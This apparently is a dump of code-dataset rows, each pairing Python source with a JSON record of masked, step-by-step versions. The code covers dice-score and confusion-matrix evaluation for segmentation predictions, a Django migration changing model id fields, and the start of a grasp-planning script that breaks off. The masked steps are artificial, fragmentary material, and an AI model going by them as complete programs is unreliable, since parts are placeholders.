sys.stdout.flush()
print(dice_thresholds)
save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.reshape(-1, 1)), axis=1)
np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice)
threshold_best = thresholds[np.argmax(dice_thresholds)]
stats = np.zeros((len(files), 7))
for i, file in enumerate(files):
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0]
im2 = data[:, 1]
dice = dice_score(im1.copy(), im2.copy(), threshold_best)
tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best)
PPV = tpos / cut_off(tpos + fpos)
NPV = tneg / cut_off(fneg + tneg)
TPR = tpos / cut_off(tpos + fneg)
FNR = fneg / cut_off(tpos + fneg)
FPR = fpos / cut_off(fpos + tneg)
TNR = tneg / cut_off(fpos + tneg)
stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])
# auc_val = auc_roc(im1.copy(), im2.copy())
# print(file, auc_val, dice, '\n')
stats = stats[:i + 1]
mu = np.mean(stats, axis=0)
stds = np.std(stats, axis=0)
with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f:
f.writelines('best threshold: {}\n'.format(threshold_best))
f.writelines('mean: {}\n'.format(mu))
f.writelines('stds: {}\n'.format(stds))
print('best threshold: ', threshold_best)
print('mean: ', mu)
print('stds: ', stds)
def compute_dice_final(out_fol, threshold_best):
files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x]
stats = np.zeros((len(files), 7))
for i, file in enumerate(files):
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0]
im2 = data[:, 1]
dice = dice_score(im1.copy(), im2.copy(), threshold_best)
tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best)
print(tpos, tneg, fpos, fneg)
PPV = tpos / cut_off(tpos + fpos)
NPV = tneg / cut_off(fneg + tneg)
TPR = tpos / cut_off(tpos + fneg)
FNR = fneg / cut_off(tpos + fneg)
FPR = fpos / cut_off(fpos + tneg)
TNR = tneg / cut_off(fpos + tneg)
stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])
# auc_val = auc_roc(im1.copy(), im2.copy())
print(file, stats[i])
stats = stats[:i + 1]
mu = np.mean(stats, axis=0)
stds = np.std(stats, axis=0)
with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_slides_level.txt'), 'w') as f:
for i, s in enumerate(stats):
f.writelines(
'{},{},{},{},{},{},{},{}\n'.format(files[i].split('_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5],
s[6]))
with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f:
f.writelines('best threshold: {}\n'.format(threshold_best))
f.writelines('mean: {}\n'.format(mu))
f.writelines('stds: {}\n'.format(stds))
print('best threshold: ', threshold_best)
print('mean: ', mu)
print('stds: ', stds)
|
flexible
|
{
"blob_id": "4892d4f364b03b53b1ad6f4c2177bbe2898edbda",
"index": 3691,
"step-1": "<mask token>\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n if im1.shape != im2.shape:\n raise ValueError(\n 'Shape mismatch: im1 and im2 must have the same shape.')\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef confusion_matrix(Or, Tr, thres):\n tpos = np.sum((Or >= thres) * (Tr == 1))\n tneg = np.sum((Or < thres) * (Tr == 0))\n fpos = np.sum((Or >= thres) * (Tr == 0))\n fneg = np.sum((Or < thres) * (Tr == 1))\n return tpos, tneg, fpos, fneg\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n if im1.shape != im2.shape:\n raise ValueError(\n 'Shape mismatch: im1 and im2 must have the same shape.')\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\ndef confusion_matrix(Or, Tr, thres):\n tpos = np.sum((Or >= thres) * (Tr == 1))\n tneg = np.sum((Or < thres) * (Tr == 0))\n fpos = np.sum((Or >= thres) * (Tr == 0))\n fneg = np.sum((Or < thres) * (Tr == 1))\n return tpos, tneg, fpos, fneg\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n if im1.shape != im2.shape:\n raise ValueError(\n 'Shape mismatch: im1 and im2 must have the same shape.')\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\ndef compute_dice_final(out_fol, threshold_best):\n files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n print(tpos, tneg, fpos, fneg)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n print(file, stats[i])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_slides_level.txt'), 'w') as f:\n for i, s in enumerate(stats):\n f.writelines('{},{},{},{},{},{},{},{}\\n'.format(files[i].split(\n '_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5], s[6]))\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n",
"step-5": "#!/usr/bin/env python\nimport os\nimport sys\n\nimport numpy as np\nfrom sklearn.metrics import roc_curve, auc\n\n\ndef confusion_matrix(Or, Tr, thres):\n tpos = np.sum((Or >= thres) * (Tr == 1))\n tneg = np.sum((Or < thres) * (Tr == 0))\n fpos = np.sum((Or >= thres) * (Tr == 0))\n fneg = np.sum((Or < thres) * (Tr == 1))\n return tpos, tneg, fpos, fneg\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n\n if im1.shape != im2.shape:\n raise ValueError(\"Shape mismatch: im1 and im2 must have the same shape.\")\n # Compute Dice coefficient\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n # steps = 100\n thresholds = np.array(range(30, 60)) / steps\n # thresholds = np.array([0.4, 0.5, 0.6])\n\n dice_thresholds = np.zeros(len(thresholds))\n\n print(thresholds)\n\n for i, threshold in enumerate(thresholds): # compute dice by varying thresholds\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice)\n\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n\n # auc_val = auc_roc(im1.copy(), im2.copy())\n # print(file, auc_val, dice, '\\n')\n\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n\n with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\ndef compute_dice_final(out_fol, threshold_best):\n files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x]\n\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best)\n print(tpos, tneg, fpos, fneg)\n\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n\n # auc_val = auc_roc(im1.copy(), im2.copy())\n print(file, stats[i])\n\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n\n with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_slides_level.txt'), 'w') as f:\n for i, s in enumerate(stats):\n f.writelines(\n '{},{},{},{},{},{},{},{}\\n'.format(files[i].split('_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5],\n s[6]))\n\n with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n",
"step-ids": [
2,
4,
5,
6,
8
]
}
|
[
2,
4,
5,
6,
8
] |
# Generated by Django 3.2.9 on 2021-11-10 13:36
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('settings', '0003_auto_20210814_2246'),
]
operations = [
migrations.AlterField(
model_name='building',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='group',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='lessontype',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='other',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='patterns',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='room',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='roomtype',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='salary',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='staff',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='student',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='subjects',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='teacherrole',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='teachertypes',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='timetable',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
migrations.AlterField(
model_name='userprofile',
name='id',
field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),
),
]
|
normal
|
{
"blob_id": "9dfbf14a2005aad87be82e5e482c6b0347f32f2c",
"index": 8007,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('settings', '0003_auto_20210814_2246')]\n operations = [migrations.AlterField(model_name='building', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='group', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='lessontype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='other', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='patterns', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='room', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='roomtype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='salary', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='staff', name='id', field=\n models.BigAutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), migrations.AlterField(model_name=\n 'student', name='id', field=models.BigAutoField(auto_created=True,\n primary_key=True, serialize=False, verbose_name='ID')), migrations.\n AlterField(model_name='subjects', name='id', field=models.\n BigAutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), migrations.AlterField(model_name='teacherrole',\n name='id', field=models.BigAutoField(auto_created=True, primary_key\n =True, serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='teachertypes', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='timetable', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='userprofile', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID'))]\n",
"step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('settings', '0003_auto_20210814_2246')]\n operations = [migrations.AlterField(model_name='building', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='group', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='lessontype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='other', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='patterns', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='room', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='roomtype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='salary', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='staff', name='id', field=\n models.BigAutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), migrations.AlterField(model_name=\n 'student', name='id', field=models.BigAutoField(auto_created=True,\n primary_key=True, serialize=False, verbose_name='ID')), migrations.\n AlterField(model_name='subjects', name='id', field=models.\n BigAutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), migrations.AlterField(model_name='teacherrole',\n name='id', field=models.BigAutoField(auto_created=True, primary_key\n =True, serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='teachertypes', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='timetable', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='userprofile', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID'))]\n",
"step-5": "# Generated by Django 3.2.9 on 2021-11-10 13:36\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('settings', '0003_auto_20210814_2246'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='building',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='group',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='lessontype',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='other',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='patterns',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='room',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='roomtype',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='salary',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='staff',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='student',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='subjects',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='teacherrole',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='teachertypes',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='timetable',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='userprofile',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n ]\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
import testr
import testg
import time
def run():
parser = testg.OptionParser(description='Autonomous grasp and manipulation planning example.')
parser.add_option('--scene',
action="store",type='string',dest='scene',default='/home/user/experiment/data/lab1.env.xml',
help='Scene file to load (default=%default)')
